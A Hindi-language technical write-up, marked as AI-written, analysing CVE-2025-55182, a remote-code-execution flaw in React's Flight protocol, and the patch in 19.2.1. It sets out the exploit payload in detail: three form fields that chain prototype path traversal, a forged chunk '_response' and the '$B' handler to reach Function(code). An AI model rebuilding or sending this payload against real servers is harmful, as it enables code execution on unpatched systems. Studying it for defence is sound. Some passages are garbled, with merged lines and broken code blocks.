
CVE-2025-55182 का तकनीकी प्रूफ-ऑफ-कॉन्सेप्ट और गहन विश्लेषण, React के फ्लाइट प्रोटोकॉल में पथ ट्रैवर्सल, नकली चंक इंजेक्शन और $B हैंडलर दुरुपयोग के माध्यम से महत्वपूर्ण RCE भेद्यता।
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 React के Flight Protocol में एक गंभीर RCE कमजोरी है। हमला पथ ट्रैवर्सल + नकली चंक इंजेक्शन + $B हैंडलर दुरुपयोग की श्रृंखला का उपयोग करके Function(attacker_code) निष्पादित करता है।
कार्यशील शोषण श्रृंखला के लिए maple3142 को बहुत-बहुत धन्यवाद!
शोषण एक दुर्भावनापूर्ण पेलोड बनाने के लिए तीन फॉर्म फ़ील्ड का उपयोग करता है:
then (फ़ील्ड 1 $@0 → फ़ील्ड 0) होता है_response एम्बेड करता है जिसमें _formData.get को $1:constructor:constructor पर सेट किया जाता है$B हैंडलर को ट्रिगर करता है जो response._formData.get(response._prefix + id) को कॉल करता है_formData.get → Function को हल करता है, जिससे Function(code) निष्पादित होता है```
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Attacker sends multipart form with fake chunk object │
│ → decodeReply() parses form fields 0, 1, 2 │
│ → Object has: then, status, value, _response │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. Self-reference makes object thenable with real function │
│ → then: "$1:proto:then" → Chunk.prototype.then │
│ → Chunk.prototype.then(this) calls initializeModelChunk(this) │
│ → Uses this._response (attacker's fake _response) │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. parseModelString() handles "$B1337" reference │
│ → case "B": return response._formData.get(response._prefix+id) │
│ → Calls _formData.get with attacker's _prefix + "1337" │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │
│ → "$1:constructor:constructor" traverses prototype chain │
│ → Returns Function constructor │
│ → Function(code + "1337") → RCE │
└─────────────────────────────────────────────────────────────────────┘### मुख्य घटक
| घटक | उद्देश्य |
|-----------|---------|
| `then: "$1:__proto__:then"` | स्व-संदर्भित thenable; चंक 1 (`$@0`) चंक 0 पर वापस इंगित करता है |
| `status: "resolved_model"` | ऑब्जेक्ट को वैध React चंक के रूप में प्रकट करता है |
| `reason: -1` | rootReference को undefined पर सेट करता है (संदर्भ टकराव से बचाता है) |
| `value: '{"then":"$B1337"}'` | नेस्टेड payload जो `$B` हैंडलर को ट्रिगर करता है |
| `_response._prefix` | RCE कोड स्ट्रिंग शामिल है |
| `_response._chunks: "$Q2"` | चंक प्रसंस्करण के दौरान क्रैश को रोकने के लिए खाली Map |
| `_response._formData.get` | `$1:constructor:constructor` के माध्यम से `Function` पर इंगित करता है |
### घटक गहराई से विवरण
#### फॉर्म फ़ील्ड संरचना
एक्सप्लॉइट तीन फॉर्म फ़ील्ड का उपयोग करता है जिसमें चक्रीय संदर्भ हैं:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then" एक स्व-संदर्भ बनाता है जो एक वास्तविक फ़ंक्शन में हल होता है:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**यह क्यों महत्वपूर्ण है:**
1. `then` `Chunk.prototype.then` में हल होता है - एक वास्तविक कॉल करने योग्य फ़ंक्शन
2. यह नकली ऑब्जेक्ट को एक वैध thenable बनाता है
3. जब प्रतीक्षा की जाती है, JS `obj.then(resolve, reject)` को कॉल करता है
4. `Chunk.prototype.then` नकली ऑब्जेक्ट के साथ `this` के रूप में निष्पादित होता है:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) uses this._response - हमलावर का नकली _response:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**स्व-संदर्भ के बिना**, नकली `_response` कभी उपयोग नहीं होता। स्व-संदर्भ `Chunk.prototype.then` को हमलावर की वस्तु को वास्तविक Chunk मानने पर मजबूर करता है।
#### दो-चरणीय Thenable ट्रिगर (`value`)
`value` फ़ील्ड में एक nested JSON स्ट्रिंग है जिसमें एक और thenable है:```json
{"then":"$B1337"}
चरण 1: बाहरी ऑब्जेक्ट का स्व-संदर्भित then चंक प्रोसेसिंग को ट्रिगर करता है।
चरण 2: जब React मॉडल को हल करता है, तो यह value को पार्स करता है और then: "$B1337" के साथ एक अन्य thenable का सामना करता है। $B उपसर्ग हैंडलर को ट्रिगर करता है:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` है `"$1:constructor:constructor"` → `getOutlinedModel()` हल होता है `Function`।
यह बनता है: `Function(code + "1337")` → मान्य JS क्योंकि `1337` सिर्फ एक trailing expression है।
#### रक्षात्मक पैडिंग (`_chunks`)
नकली `_response` को क्रैश को रोकने के लिए एक मान्य `_chunks` प्रॉपर्टी की आवश्यकता है:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React का आंतरिक कोड प्रसंस्करण के दौरान response._chunks.get() या response._chunks.has() तक पहुँच सकता है। एक खाली Map इन कॉलों को त्रुटियों के बिना संतुष्ट करता है, जिससे निष्पादन कमजोर $B हैंडलर तक पहुँच जाता है।
| पथ | फ़ंक्शन | शोषण में उद्देश्य |
|---|---|---|
| पथ ट्रैवर्सल | getOutlinedModel() | $1:constructor:constructor को Function में हल करता है |
नकली _response इंजेक्शन | initializeModelChunk() | हमलावर के chunk._response का उपयोग करता है |
$B हैंडलर | parseModelString() | _formData.get(_prefix + id) को कॉल करता है → RCE |
decodeReply() प्रवेश बिंदु है, स्वयं कमजोर नहीं है।
पथ ट्रैवर्सल (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**फर्जी प्रतिक्रिया उपयोग** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## सुधार (19.2.1)
पैच में कई सुधार शामिल हैं:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - महत्वपूर्ण सुधार ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty जाँच getOutlinedModel() में - प्रोटोटाइप ट्रैवर्सल को ब्लॉक करता है ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ हैंडलिंग reviveModel() में - प्रोटोटाइप प्रदूषण को रोकता है ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() में प्रकार जाँच - श्रोताओं को मान्य करता है ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);